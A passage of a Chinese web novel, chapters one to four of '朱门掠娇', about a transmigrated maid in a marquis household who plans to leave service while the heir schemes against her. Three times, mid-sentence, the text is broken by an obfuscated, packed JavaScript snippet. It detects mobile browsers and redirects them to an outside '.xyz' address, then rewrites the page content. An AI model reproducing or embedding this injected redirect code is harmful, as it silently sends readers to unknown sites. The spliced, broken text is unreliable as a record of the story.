《朱门掠娇》 1. 第一章 安义侯府,碧琼苑偏房 账册上最后一笔落下,孟清辞扶颈揉了揉。赶在晌午前,总算是把大小姐的私账捋顺了。 她不觉累,只觉心里畅快。待大小姐嫁入东宫,便都是这样叫她心里畅快的日子。那时,她再不是谁的奴,谁的婢,只管潇洒度日,不枉费她筹谋的十年。 紫芙挑竹帘子进来,见晴儿累的伏案,帮她把狼毫笔洗好了,悬在紫檀木笔架上,笑着打趣:“只你一个实心眼的在此处忙的昏天暗地,外面因着三爷回府,阖府上下,连猫儿狗儿都寻了由头往前头凑热闹,讨个喜赏。” “那你怎么还不过去?”孟清辞笑着摇头,她在侯府为婢十年仍做不来奴颜婢膝的事儿,何况她就要出府,更不可能为了两个赏钱去前面讨好。 孟清辞是国家古典舞首席,出国比赛的时候飞机失事,直接逝世了,从根儿上绝了她想回去的念头。 穿越到昭德朝的时候,她这具身体才五岁,正被人牙子拉到老安义侯府后角门外,被当街挑拣。 她当时刚穿越,还没搞清楚自己在哪里,更没有原身的一点儿记忆。 跟着男女老少,大大小小的奴隶站在一起,供侯府管事上下打量,还有侯府嬷嬷挑牲口一样,上下其手,翻看手掌,捏开嘴看牙口。 她在一众‘小萝卜头’里算是长得白净周正,模样出挑的,虽说看着也瘦弱,但毛发乌黑,不像是其他同龄小孩儿,毛发枯黄稀疏,脸色蜡黄,更是一副皮包骨。 眼光毒辣的侯府嬷嬷一看她就是好人家出来的,但谁也不会问,人是从哪里来的,既卖进了侯府,以后就是侯府的奴才了。 孟清辞也只能安慰自己,穿越天崩开局,被人牙子卖进安义侯府,总比被卖到什么书寓,私窠子的地方强,那才是叫天天不灵,叫地地不应。 初进府时,住的是二十人挤在一处的通铺下人房,先叫学了一个月的侯府规矩,方被安排洒扫、打杂、跑腿的粗使活计。 孟清辞从三岁跳舞到三十岁,除了跳舞登台,日常都是保姆助理伺候,只勉强会个烧开水。对于拿奖无数,到哪里都是掌声呼声一片的孟首席来说,穿越后的日子,每一秒都是地狱。 咬牙熬了一年,安义侯府庶长房的嫡出大小姐傅静妤,到了进学的年纪,要选年纪相当的丫鬟兼伴读,孟清辞才抓住机会脱离苦海,还得了晴儿这么个奴才名儿。 紫芙叹一声:“谁叫我也生成个劳碌命呢?方才去库房取你昨儿提的,老夫人要给大小姐添妆的那对羊脂玉如意。库房那起子没天良的,明知道是上头的差遣,偏生咬定了,非要你晴姑娘亲自走一趟,才肯画押出库!” “待会儿我去一遭便是,何必与他们费这些口舌官司。”孟清辞思绪回转,眉心微不可查地蹙了蹙,温言劝慰。 紫芙与她同是大小姐跟前得脸的一等大丫头,性子爽利,不用问也知晓,她定是与库房那起人刚拌过嘴。 紫芙果然杏眼圆睁,很不服气:“本就是他们先前漏了差事,没给咱们送来,如今还要在咱们面前拿乔,黑心烂肺的腌臜老货,除了吃酒赌钱,就晓得变着法的折腾人。” “那是老夫人的陪房,又管着府里的库房钥匙,只认老夫人,何况咱们大爷是庶出,嫡母面前,大爷也只能敬着,他们和长房摆谱儿也是寻常,这事儿就是辩到老夫人跟前,也只得一句‘办事老诚谨慎’。 你日后跟着大小姐入了东宫,可要改改性儿,不能总是沉不住气。” 孟清辞想,紫芙这冲动性子,在那宫闱倾轧中怕是难自保,偏她一家子都指给了大小姐做陪房,人又长得讨喜鲜妍,摆明了日后是要帮着主子固宠。 紫芙虽仍不忿,却也知争不过,他们大爷不过是侯府庶长子,承袭爵位有嫡出二爷,做官又不如嫡出的三爷,若非她们大小姐选上了太子妃,庶长房在侯府,并没有如今的脸面。 又听提起日后入东宫,紫芙忙瞅了眼帘子外头,见无人影,方压低了那脆生生的嗓子;“你还真要出府去呢,跟着大小姐,二房那边尚有几分顾忌,你若出府去,世子那边岂能善罢甘休,到时候,大小姐入了东宫,鞭长莫及,真叫他使了强,白璧蒙尘,不是毁了你。” 孟清辞不意外紫芙知晓她脱籍之事,她的户籍,是大小姐前两日差使紫芙的哥哥去衙门办的。 应天府见了未来太子妃的亲笔手书,立时便销了奴籍,顺带还给她立了女户——若她自己前去,一个未嫁之女要立女户,怕是门儿也没有。 “大不了离开京畿另谋生路,那边总不会大费周章的追着不放。”孟清辞对离府早有成算,却不愿与紫芙深谈。 紫芙是侯府的家生子,主子和侯府就是她的天,对她想要自赎出去本就难以理解,若是知道她早有打算,定会疑心她不够忠心。 紫芙忧心,倾身,声音更低:“我只怕,他日若是太子知晓,当日那支定情的舞……原是你替大小姐跳的……可怎生是好?” “你莫不是过于轻看了太子?”孟清辞意味深长地睨了她一眼:“你以为一人之下,万人之上的储君,会因为一支舞便对哪个女子倾心?那昭德朝的太子未免忒没见过什么世面。” “难道......不是吗?”紫芙一脸错愕:“如今外面都传,太子会选咱们小姐为太子妃,是爱慕小姐才貌双全,贤名远播,太子殿下一见倾心,为小姐的舞姿倾倒,赞是‘天造地设、金玉良缘’。” 怎的到了晴儿这儿,就全然不是那么回事了? “当然是因为咱们大小姐有个手握权柄,巡抚闽广的三叔,二则那嫡出的二房里,偏又没个年纪相当的嫡出姑娘待字闺中罢了。”孟清辞想着多点拨这丫头几句,也省得她还懵懂不知,入了东宫冲撞了贵人。 紫芙纵然心性纯直,此刻也如醍醐灌顶,猛地回过味儿来。对如谪仙临凡般的太子殿下,霎时祛了魅,杏眼里都是难以接受的怅惘。 两人又闲聊两句,紫芙终究耐不住,也往前院凑热闹去了。 安义侯府燕拂居,林氏殷殷嘱咐女儿傅静妤嫁人后如何恭顺,如何伺候夫君,说了好一会儿才长长舒出一口气。 当年傅老夫人横刀夺爱,傅老侯爷咽不下贬妻为妾这口气,便有了傅大爷这个庶长子,后因心爱之人早逝,彻底和傅老夫人撕破脸,老侯爷最终郁结于心,跟着去了。 这桩旧怨成了傅老夫人心里的毒刺,一直为此耿耿于怀。为了恶心早逝的老侯爷和碍眼的庶长子,为傅大爷聘娶的林氏,不过是六品小官家庶出的姑娘。 林氏在家时就被养得见识短浅、谨小慎微,入侯府后,面对积威深重、刻薄寡恩的嫡母傅老夫人,更是唯唯诺诺,习惯性地处处讨好。 傅静妤深知母亲秉性,也怜惜她长年在祖母威压下如履薄冰,明知母亲说的这些“妇德”于她毫无助益,还是好脾气的耐心听着。 林氏对女儿的柔顺颇为受用,这才想起另一桩心事,问道:“我瞧着你的陪嫁单子,怎地不见晴儿的名字?” 傅静妤心中默默叹气,面上却不露分毫嫌弃:“她志不在此,女儿已应允放她出府。” 林氏闻言不由蹙眉:“这是为何?她自小伴你长大,样样出挑。日后你入了东宫,身边若有她这样得力的人帮衬谋划,定能拢住太子恩宠,为娘才能安心些。” 傅静妤暗自庆幸自己未曾承袭母亲的愚钝,多亏当年曾祖母有为她谋划,派嬷嬷来教养她,她面对林氏仍旧温言细语:“若论心性手段,曾祖母给的嬷嬷本就是宫里出来的,比晴儿更老练,若为固宠,聪明又貌美反而不易掌控,紫芙、春熙、芸笺都是家生子,比无父无母的晴儿更合适。” 傅静妤想晴儿志不在此,她若是勉强留下,以晴儿倔强的性子,主仆之间难免心生罅隙,不如放晴儿出府,全了两人多年的主仆情谊,但此话傅静妤便不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083219|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与母亲多言。 林氏细细琢磨,觉得女儿说的似乎也有几分道理,转念又想起婆婆前日递来的话:“你祖母前儿个也与我提了晴儿,说是要给这丫头一场天大的富贵。她道晴儿是你自幼的伴读,规矩学问都是极好的,既然世子喜欢得紧,都求到她老人家跟前了,不如就抬举晴儿给世子做个妾。也能时常劝世子进益,总强过她一个孤女出府去受那风霜之苦,岂不是强上百倍?” “母亲糊涂,此事万万不可。”傅静妤听到此处,再难忍耐,将手中茶盏重重搁在桌上,心底暗恼母亲耳根子太软,轻易就被祖母拿捏。只是糊涂至此,也着实令人头疼。 被女儿接连否决,林氏脸上有些挂不住,语气也带了几分不悦:“怎就不可了?一个奴婢,难道还嫌弃主子不成?” 傅静妤面色微沉,眼中掠过一丝难以掩饰的嫌恶,声音也冷了几分:“二伯和堂哥什么德行,侯府里谁人不晓得,除了咱们大房还算干净,侯府但凡有些姿色的丫头,哪个没被他们两父子沾染过? 晴儿是我多年伴读,情分不同,我怎能眼睁睁推她入那火坑? 即便不论主仆情谊,让外人知道堂妹的贴身婢女跟了堂哥,到时候要如何议论我这个太子妃的闺仪清誉。 倘若二房再传出什么父子聚-麀的丑闻,世人只会说是我这婢女不知廉耻,我这个主子也不会是什么好的,届时,我这个东宫太子妃还有何颜面立于人前?陛下又会如何看待我这个儿媳?” 林氏听罢,惊得脸色煞白,冷汗涔涔而下,软软地倚靠在凭几上才勉强撑住身子。这才后知后觉地醒悟,自己又被婆婆算计了一遭,心中又悔又怕。 当下,她连放晴儿出府也觉得不妥了,二房行事向来肆无忌惮,若真把人再弄进府里,后患无穷。她急切道:“就算放她出去,也绝不了二房的龌龊念想!不如……不如想法子一劳永逸……”话说出口,却又没了章法,只觉心慌意乱。 傅静妤听得额角隐隐作痛,疲惫地叹了口气:“母亲,女儿尚未出阁,无端处置了从小跟在身边的伴读婢女,外人会如何揣测?有心人必定借题发挥,只会咬着不放编排女儿的错处。 没人会去深究一个婢女犯了何错,他们只会说我刻薄寡恩,连贴身之人都容不下!皇家又怎会要一个不慈的太子妃? 更何况,女子出嫁前夕,贴身婢女无端暴毙乃是大不吉之兆!二房正等着看咱们大房的笑话呢!母亲就莫要再跟着裹乱了……” 恰在此时,林氏的心腹嬷嬷进来回话,说三爷傅珩并未直接回府,而是奉旨先进宫面圣去了,不知几时才回,已传话让府里不必再等。 林氏心知方才的话惹恼了女儿,正不知如何转圜,忙顺着嬷嬷的话头道:“你三叔此番回京,多半是为你与太子的婚事。你日后在东宫,还需仰仗他在朝中照拂。待见了面,定要好生请安问候,莫要因久不见便生分了。” 傅静妤见母亲终于不再纠缠晴儿之事,心中暗暗松了口气。她低垂眼睫,遮住了眸底一闪而过的冰冷憎恶与厌烦。今日之事,表面是为个奴婢,实则剑锋直指她这未来的太子妃。二房这笔账,她傅静妤记下了,来日定当连本带利讨还。 因着大小姐傅静妤一早便去了燕拂居,碧琼苑便无人再来回话,孟清辞自然也无从知晓三爷傅珩并未归府,而是径直入宫面圣去了。 她只默算着时辰,料想此刻阖府上下必是齐聚前厅,迎接那位久未归京、位高权重的三爷傅珩,大房没空儿和她使猫腻,她便带着两个小丫头往库房去。 “呦,我当是谁呢,要下钥了,还来库房,原来是晴儿姑娘,真是稀客。”库房管事陈有荣见了她,脸上堆起一个意味深长的笑。 孟清辞只当未见,目光平静无波:“陈管事多担待,碧琼苑近日忙的不得了,才晚了,但大小姐的嫁妆耽误不得,烦请将老夫人添给大小姐陪嫁的那对羊脂玉如意取来。” 2. 第二章 “晴儿姑娘,稍等会儿。”陈有荣慢悠悠的呵呵笑两声,招呼婆子给孟清辞上了杯茶,转身掀帘子进侧间忙去了,只听得算盘被打得噼啪作响。 孟清辞清凌凌的眸子扫了一眼婆子上来的茶,还有两盘芙蓉酥糕点,打发带着的两个小丫头吃了,她自己一口未动。 孟清辞直忍到天黑掌灯了,陈有荣才从侧间出来,手里还拿着个长方的漆木盒子:“劳晴儿姑娘久等了,最近帮着大小姐准备嫁妆,库房里乱的很。” 大小姐的嫁妆都是经了孟清辞的手造册的,多少是出自侯府库房她会不清楚,老夫人不过拿几件好看又不贵重的给大小姐充门面,何至于弄乱库房,陈有荣是连敷衍她都不走心。 “辛苦陈管事了。”孟清辞明知道他不怀好意,还是要和他客套,一面让小丫头接过盒子,打开检查无误后,再不和陈有荣耽搁,带着两个小丫头离开。 陈有荣站在门口望着她离去的背影,像是往园子里去了,咂摸了两声:“难怪侯爷惦记,就这身韵,这性子,馋人的很。” 副管事从侧间出来,瞥了眼外面,人影都没了,疑惑问他:“这不是世子爷的吩咐,怎么又是侯爷了。” 陈有荣是个笑面虎,他拍了拍副管事的肩膀,笑道:“都一样,都一样。” 孟清辞从库房出来,见无人跟着,低声打发其中一个小丫头去燕拂居:“若是有人问,你就说是大小姐打发你过去大太太处,若是巡不见大小姐,就去前头席面上。 见了大小姐,回禀说我去库房取了老夫人给添妆的这对儿玉如意,怕天黑摔了,让人提着灯笼,到碧琼苑后门外的竹林里迎一迎。” 小丫头乔儿得了话儿,应了声,加快脚步去了,心头疑惑:竹林那边晚上黑灯瞎火不掌灯,回碧琼苑还绕远。若要人迎,叫她回碧琼苑喊人不是便宜,真是想不通呢,颠了颠手里几枚赏钱,再不多想,叫她做什么听话便是。 孟清辞趁着夜色,带着另一个丫头柳春脚步一转,急匆匆的朝着反方向无衡山房的方向而去。 柳春怀里抱着,装着玉如意的漆木盒子,紧跟着孟清辞,神色略有些紧张。 在碧琼苑的二等丫头里,柳春最出挑,孟清辞离开,柳春便要升上一等顶缺,跟着大小姐陪嫁去东宫。 所以柳春比旁人知道的多些,平日和孟清辞走的也近。 今儿这遭,柳春都看出来了,库房拖到天黑才放她们走,明显是要给她们做局,回碧琼苑需的从侯府园子里走,大晚上的,眼看各处都要下钥,指不定有什么乌七八糟的等着她们。 她们要从竹林穿回去,就要路过无衡山房,这一圈儿下来,得走小半个时辰。 无衡山房是傅老夫人给府里三爷安排的住处,只这位三爷自小跟着傅太夫人在祖宅,虽然无衡山房平日着人打理,却是侯府的偏僻处。 柳春是跟着大爷从祖宅过来的家生子,对安义侯府主子们的事情,多少听老子娘说过点。 傅老夫人如今看着是安义侯府说一不二的老封君,压着大房抬不起头,自己儿子一个继承了侯府爵位,一个是位极人臣的二品大元。 实则当年傅老夫人王氏,一眼相中老侯爷,不顾老侯爷已有夫人,仗着新朝初立,陛下要平衡新旧朝臣,王氏走了太后表姨的路子,以前朝傅氏是否对陛下忠诚为由,逼妻为妾,请太后懿旨嫁进傅家。 在老家安义侯府,傅家没一个看得上这位逼妻为妾嫁进来的主母,傅太夫人甚至连中馈就不给王氏管着。 为此大爷从嫡长子变成庶长子,老侯爷更是以各种理由从不踏入王氏院子半步,直到后来,王氏再也忍无可忍闹翻了天,非要把大爷抢过去养着,还扬言要闹到陛下跟前,状告老侯爷宠妾灭妻。 老侯爷为了傅家委曲求全,这才有了二爷,本来太夫人是要把二爷也养在身边的,只王氏拼死不同意,结果溺爱过度把二爷养歪了。 王氏不死心,又使了手段才有了三爷,为此还伤了老侯爷的根本,太夫人震怒,三爷一出生便给抱走养在身边,也不许王氏时常探望。 王氏一腔怒火无处发泄,最后把主意打到大爷的生母身上,将人害死,老侯爷再也忍无可忍,直接将王氏和二爷送到京城安义侯府,扬言生死不复相见,没几年老侯爷自己也死在了平乱的战场上。 若不是两年前大爷调任京畿,他们才不会住进京畿的安义侯府。 “晴儿姐姐,真要从竹林穿过去?若是在竹林被世子堵到,那儿比园子更偏僻,三爷毕竟是世子的亲叔叔,只怕到时候只会袖手旁观,或是帮着遮掩。”眼看着越走越安静,天色彻底黑下来,柳春心跳的砰砰,不免牢骚一句:“这两年,侯爷与世子行事越发荒诞起来。” 孟清辞心想这两年侯府二房父子变本加厉的荒唐,说不准有他们大爷的推波助澜,毕竟逼嫡为庶、弑母之仇、夺爵之恨,一桩桩不共戴天,有哪个能甘心咽下的。 她脚下不停,进了竹林,在这暗夜里,嗓音不疾不徐,如春风和煦安抚人心:“听说咱们这位三爷十二岁便中了秀才,三元及第的状元郎,陛下赞其清风峻节,有其祖父之风。巡抚闽广时法不阿贵,诛不避位,又久不回侯府,想来是不大看得上侯府如今的情状。 今儿这库房这出儿,有老夫人的手笔,她一向看中三爷,绝不会纵着世子把腌臜闹到无衡山房。” 竹林里微风浮动,竹叶簌簌作响,暗夜里委实让人心慌,孟清辞从容有度的分析,柳春抚着胸口顺了气,安心了几分。 不怪柳春害怕,她们本就是卑贱之身,若是连清白都没了,更是没指望,每年从二房横着出去的,没有几十个,也有十几个,那两父子更是荤素不忌,叫她如何不怕。 两人边说边走,过了无衡山房,进了这片平日无人的竹林,孟清辞反而安心下来,再行不远便是碧琼苑的后门,即便落了钥,见是她叩门,也断无不启之理。 她让特意让年纪小的乔儿跑一趟燕拂居为的就是拖延时间,麻痹园子里不怀好意等着的人。 夜色笼罩下的竹林,没有灯火,只有稀薄的月色洒下冷冷清辉,勉强照亮方寸之地。两人目力受限,皆垂首凝神,小心的注意脚下不算平整的小路,冷不防孟清辞额头撞了个结实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083220|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟清辞‘嘶’了一声,脚下踉跄,整个人向后仰倒。 她被一只遒劲有力的大手攥住手臂,才稳住身形。 落后几步的柳春,骤然见前方凭空多出两道黑影,直叫吓得魂不附体,她抱住怀中的漆木盒,脚下连退两步,眼里都是惊惧之色,死死咬住下唇不敢发出一声,硬生生将尖叫咽了回去,生怕引来更大的灾祸。 刹那间柳春心里已经转了数个来回,目光在竹林里乱瞟,暗自盘算:此处离碧琼苑后门不算太远,若真是撞上二房的人……她拼了命跑回去报信,或许还有一线生机!脚下不动声色地又向后挪了两步。 “你们是哪里当差的?下钥了还在此盘桓?”墨简常年跟着傅珩在外办事,言辞间自带一股威压与责问。 心里则是大大的腹诽,他家三爷平时是最讨厌女子近身的,方才非但没将人一把推开,反倒伸手相扶,莫不是刚才听见这两个婢子谈话,故意从凉亭出来挡在这里的?今儿真在宫里被灌多了酒? 孟清辞亦是心头猛跳,待听到那陌生端肃的问话声,她反平复了几心绪。 抓着她手臂的大掌力道颇重,隔着衣料,对方掌心传来的灼热几乎要烙透她的肌肤。站稳后,她下意识地抽回手臂,后退一步。 借着微弱的月光,孟清辞看清了眼前人一身显赫的绯色锦鸡官服。目光飞快掠过男人隐在暗影中棱角分明的冷峻面容,惊诧之余,心中已有了答案。 她敛目垂首,规规矩矩地行了个全礼:“回禀三爷,奴婢们是碧琼苑伺候大小姐的。今日奉老夫人之命,前往库房领取给大小姐的添妆。因库房近日事务繁杂,略耽搁了些时辰,故而回得晚了。竹林幽暗,难以视物,不慎冲撞三爷尊驾,万望三爷恕罪。” 柳春听了惊讶的眼睛都要瞪成了铜铃,她不敢抬头,却很是伶俐地跟着深深福礼:“奴婢给三爷请安。” 傅珩深沉的黑眸染着微醺的薄雾,那骤然抽离的手臂,让他虚握的掌心空落了一瞬。 他甫一抵京,便被宫中的内官截住,径直带入宫中。一番述职后,以宴饮之名,不知被灌下了多少御酒,直至宫门落钥时分才得以脱身。 半醉的傅珩坐在竹林凉亭中吹风醒酒,五感却异常敏锐。两个婢子的低语由远及近,他听得一清二楚,心中暗哂:此婢言语间虽似有赞他之意,然则胆大包天,竟敢背后妄议主子。 许是酒意上头,他竟生出一念,想看看这等口无遮拦、毫无敬畏的奴婢,究竟是何种模样。 冷月清辉之下,为首的女子身姿窈窕,行走间如流风回雪,清韵自生,艳而不妖。一双妙目潋滟如映月秋水,顾盼之间,似蕴着无声的钩子,直欲摄人心魄。 接下来的话,墨简一个侍卫自然不便接口。然而自家主子却迟迟不语,只静立原地,目光沉沉地凝在那姑娘低垂的发顶乌丝之上,也不知是醉得深了,还是在思量什么。 孟清辞也嗅到了空气中隐约飘散的浓烈酒气。她维持着行礼的姿势,眉心却几不可察地轻蹙了一下。面对这位素未谋面、此刻又明显带着酒意的三爷,她心中那点刚压下的忐忑,又悄然浮了上来。 3. 第三章 “你怎就知道是哪位主子?”傅珩没想到竟是他侄女的婢女,连婢女都如此出挑,难怪他那大侄女能博得太子青睐。 “回三爷。”孟清辞尾音轻扬,透出几分与有荣焉的矜傲,垂下的眼帘却清冷一片,“奴婢随大小姐略长了点见识。咱们府上,能着绯色官服的,唯三爷一人。” 眼前这位三爷,身上带着上位者的冷沉与倨傲,颇有些阴晴难测。不知他方才听去了她和柳春多少对话。幸而她话里并无开罪之处,捧着说总归无错。 “你倒是伶俐,起来罢。”傅珩淡淡道,目光从她身上掠过,径直前行。 墨简跟在后面,忍不住偷觑了几眼,心中暗啧:果然是个美人,更是个舌灿莲花的美人。连向来厌恶谄媚的主子,竟也被她三言两语哄住了。 “晴儿姐姐,那真是三爷?咱们……不会受罚吧?”直到人影走远,柳春才抖着腿站起来,慌忙搀住孟清辞。 “莫怕,他既走了,便是无事,也不会再提。听见什么也无妨。快些回去,这一关算是过了。”孟清辞拍了拍柳春搭在自己臂上的手,长舒一口气,暗想传闻不虚,这位三爷确实是难得的嵚崎磊落之人。 傅珩踏入无衡山房。墨松早已备好醒酒汤奉上。傅珩蹙眉饮尽,细长的眼帘掀起,眸光沉冷:“去查查,今晚园子里都有谁。” 墨简躬身领命,迅速退下。主子那副寡淡神色下,分明已是动怒。方才竹林里那番婢女的私语,他亦听去了几分,心下已有了猜测。 墨简先在园中巡了一圈,未见异常,随即调头直奔下人房。 他们虽常离侯府,府内自有眼线。墨简熟门熟路寻到人。那眼线乍听三爷甫一归府便问起大小姐房里的晴儿,颇感讶异。然而墨简刚起了个头,对方便如竹筒倒豆子般,将所知倾吐殆尽——实在是二房父子行事荒唐,不知遮掩,早已成了阖府下人茶余饭后的解闷逗趣的闲话儿。 墨简听得瞠目结舌,回来后将所见所闻,不仅是今夜那“晴儿”之事,更有这些年二房父子院里的种种不堪,一桩桩、一件件,原原本本禀告了傅珩。 傅珩的脸色阴沉得能滴出水来。世家大族内里的荒唐,他并非少见,但堂堂侯府世子,竟对一个手无缚鸡之力的婢女屡屡出手未遂,反被其玩弄于股掌之上……简直愚不可及,丢尽了祖宗颜面!二房这根独苗,算是彻底废了。 想到今日陛下的神色和那几句语焉不详的言语,他按了按隐隐作痛的额角。 “吩咐下去。”傅珩声音凛冽,“这几年府里的事,还要再仔仔细细的查一遍,看看我这两位好哥哥到底有多大的能耐。” 墨简心头猛地一凛,飞快瞥了一眼主子的神色,骇然之下几乎屏住呼吸。如此行事,日后老夫人若知晓,只怕要豁出命来与主子相拼!可主子向来言出法随,与老夫人又素无亲厚之情,他纵有万千惊惧,此刻也万万不敢吐露半字,只得垂首应道:“是。” 傅珩挥手屏退墨简与墨松,屋内霎时沉寂下来。他独自洗漱更衣,动作间却带着一股难以纾解的沉郁。 老大自己做了太子的老丈人,老只有爵位没有实权的老二却搭上了庶出的大皇子,傅珩不信这里没有老大的手笔。 老大这两年在府里委曲求全,做出一副瞻前顾后的样子,明摆着要逼他亲自动手收拾老二,是觉得一母同胞的亲兄弟手足相残更能刺.激他母亲吗? 碧琼苑的后门被叩响,声音在寂静的夜里格外清晰。守门的婆子闻声忙不迭地赶来,贴着门缝问清了是晴儿,这才“吱呀”一声开了门。 婆子脸上堆满讨好的笑:“哎哟,晴儿姑娘,怎么这个时辰才回来?还走了后门儿?”她觑着孟清辞的脸色,语气带着小心翼翼的探询。 孟清辞没有理会她的问话,叫婆子把门插上,径直朝着上房去。 婆子被她这副冷脸噎得一愣,讪讪地抬手轻拍了一下自己的嘴,暗骂多嘴。晴儿姑娘年纪虽轻,平日里看着和善,规矩却极大,更是大小姐的心腹,在碧琼苑说一不二的主儿。若真得罪了她,自己这看门的差事怕是要不好过。 柳春直到踏进碧琼苑熟悉的院墙内,那颗悬了一路的心才“咚”地一声落回肚子里,手脚却还微微发软。她亦步亦趋地跟着孟清辞走进正院,恰好遇上紫芙和春熙掀了帘子出来。 “晴儿!你可算回来了!”紫芙一见她们,立刻迎上来,语气带着焦急,“大小姐都问过两回了,方才还打发人去寻你呢!急死人了。” 孟清辞问春熙:“大小姐什么时候回来的?” “三爷被宣进宫了,大小姐在太太处用过晚膳就回来了。”春熙一边说着,一边掀开装着玉如意的漆木盒子。瞥了一眼,成色平平,她毫不掩饰地撇了撇嘴,嫌弃的把盖子又扣上。 她的目光落在柳春脸上,被她惨白如纸的脸色吓了一跳,“柳春这是怎么了?瞧这嘴唇都发紫了!” 孟清辞没多解释,只对柳春道:“你先去把取回来的玉如意记档入库。”随即又转向紫芙春熙,声音微沉:“乔儿呢?可回来了?” 紫芙和春熙可不知道这个,正要找个小丫头来回话,就见乔儿气喘吁吁地跑过来,小脸通红:“晴儿姐姐!我在这儿!” 孟清辞紧绷的肩线这才几不可察地松了松,拿出帕子给她擦了擦额角的细汗:“跑的这样急,可是遇见事儿了?” 乔儿便将在园子里遇见世子爷被盘问耽误了些时候的事儿回了。 孟清辞又给了乔儿十几个铜板,打发她去了。 这时候芸笺掀帘子出来,笑着稀奇道:“怎么都在廊下说话,大小姐听见了,叫都进去呢。” 见了傅静妤,孟清辞将今日库房,非要她亲自去取羊脂玉如意的事儿回了。 此时屋内都是傅静妤的心腹,她们主仆多年默契,都不需孟清辞说的多仔细,就都知今日叫二房钻了空子。 紫芙、春熙、芸笺都是一脸心有余悸,若是晴儿今儿出事儿了,依照世子爷的尿性,难保下一个不会是她们。 世子爷如今是连脸皮都不要了,竟敢如此明目张胆地算计堂妹房里的人,更可怕的是,背后竟还有老夫人的默许甚至纵容!想到这府里暗处潜藏的龌龊与危险,几人只觉得一股凉气从脚底窜上来,直透心扉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083221|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几人都恨不得大小姐明日就嫁去东宫,好逃离这吃人的侯府。 傅静妤听完胸膛剧烈起,向来温静的面容一阵红一阵青,捏着茶盏的指尖泛白,紧咬银牙。 傅静妤平复了几息,还是隐忍的吩咐几人:“你们都是我身边亲近之人,他们辱你们就是辱我,来日我定会叫他们加倍奉还,咱们寄人篱下.......你们几个都要堤防些。” 见好脾气的主子气得手抖,几人赶忙上前好言安抚。 一面心里为自家姑娘鸣不平,傅氏正儿八经的嫡出大小姐成了庶出,若不是如此,这两年大小姐何须费尽心思博得好名声,才能博得太子妃之位。 如今老夫人和二房还要变着法的糟践她们姑娘,很怕她们大房有好日子。 且说傍晚的时候,乔儿真叫在园子里被世子傅鸿轩堵个正着,她一个才十岁的小丫头,出来跑个腿儿,傅鸿轩并没放在心上,为了不打草惊蛇,很快便放乔儿走了。 傅鸿轩久不见晴儿进园子,等了一晚上却是扑了个空,他憋了一肚子邪火无处发泄。 他把陈有荣叫来劈头盖脸就是一顿痛骂,一脚狠狠踹在陈有荣心窝:“废物!这点小事都办不好!爷养你何用!” 踹得陈有荣踉跄倒退几步,捂着胸口脸色煞白,额角冷汗涔涔而下,却连痛呼都不敢大声,只一味弓着腰告饶:“世子爷息怒!世子爷息怒啊!小的该死!小的也没想到那晴儿如此奸猾,小的是亲眼见她往园子里去的……” 傅鸿轩一双被酒色浸淫的眸子阴鸷地盯着蜷缩在地上的陈有荣,冷哼:“哼,不识抬举的下贱皮子。” 陈有荣吓得一哆嗦,不知道这位祖宗是在说他还是在说那晴儿。 傅鸿轩舔了舔有些干的唇,眼中□□与怒火交织,晴儿那丫头这两年张开了些,那窈窕的身段和清艳的眉眼,越发叫那丫头勾得更是心痒难耐。 连他父亲多叫勾的魂不守舍,每每见了都一副垂涎的模样,恨不得一双眼珠子粘在那丫头身上。 他好不容易求了祖母松口,借着老太太的名头想把人诓出来,本以为十拿九稳,这煮熟的鸭子竟然飞了!让他如何甘心? “一个下贱的婢子!陪我那好妹妹读了几天书,真当自己是千金小姐了?三番五次驳爷的面子,拿什么乔,给脸不要脸!”傅鸿轩越想越恨,牙关咬得咯咯作响,只觉得一股邪火在五脏六腑里乱窜,烧得他心肝脾肺肾都疼。 不识抬举的东西,非得给她点厉害尝尝,让她知道知道这侯府里,谁才是主子! 傅鸿轩脾气上来,接连踹了好几脚,直踹得陈有荣几乎背过气去,才喘着粗气撩起衣摆,一屁股重重坐在太师椅上,脸色阴沉得能滴出水来。 陈有荣捂着生疼的心口,见傅鸿轩鬼一样骇人的面色,阴恻恻看自己,吓得他出了一背冷汗,怕这祖宗一怒之下真将做自己打死,他急中生智,强忍着剧痛,连滚带爬地匍匐到傅珩脚边。 他扯出一个比哭还难看的谄媚笑容,压低声音:“世子爷息怒!小的……小的还有个法子!保管让那晴儿再烈的性子,到时候也要乖乖的求着伺候爷……” 4. 第四章 翌日晌午,承晖堂的锦屏遣了个小丫头来请孟清辞。 锦屏是大房大少爷傅晏桉的大丫鬟,管着大少爷的衣食起居,早前说好要找孟清辞过去画个花样子,此刻得了闲,便来相请。 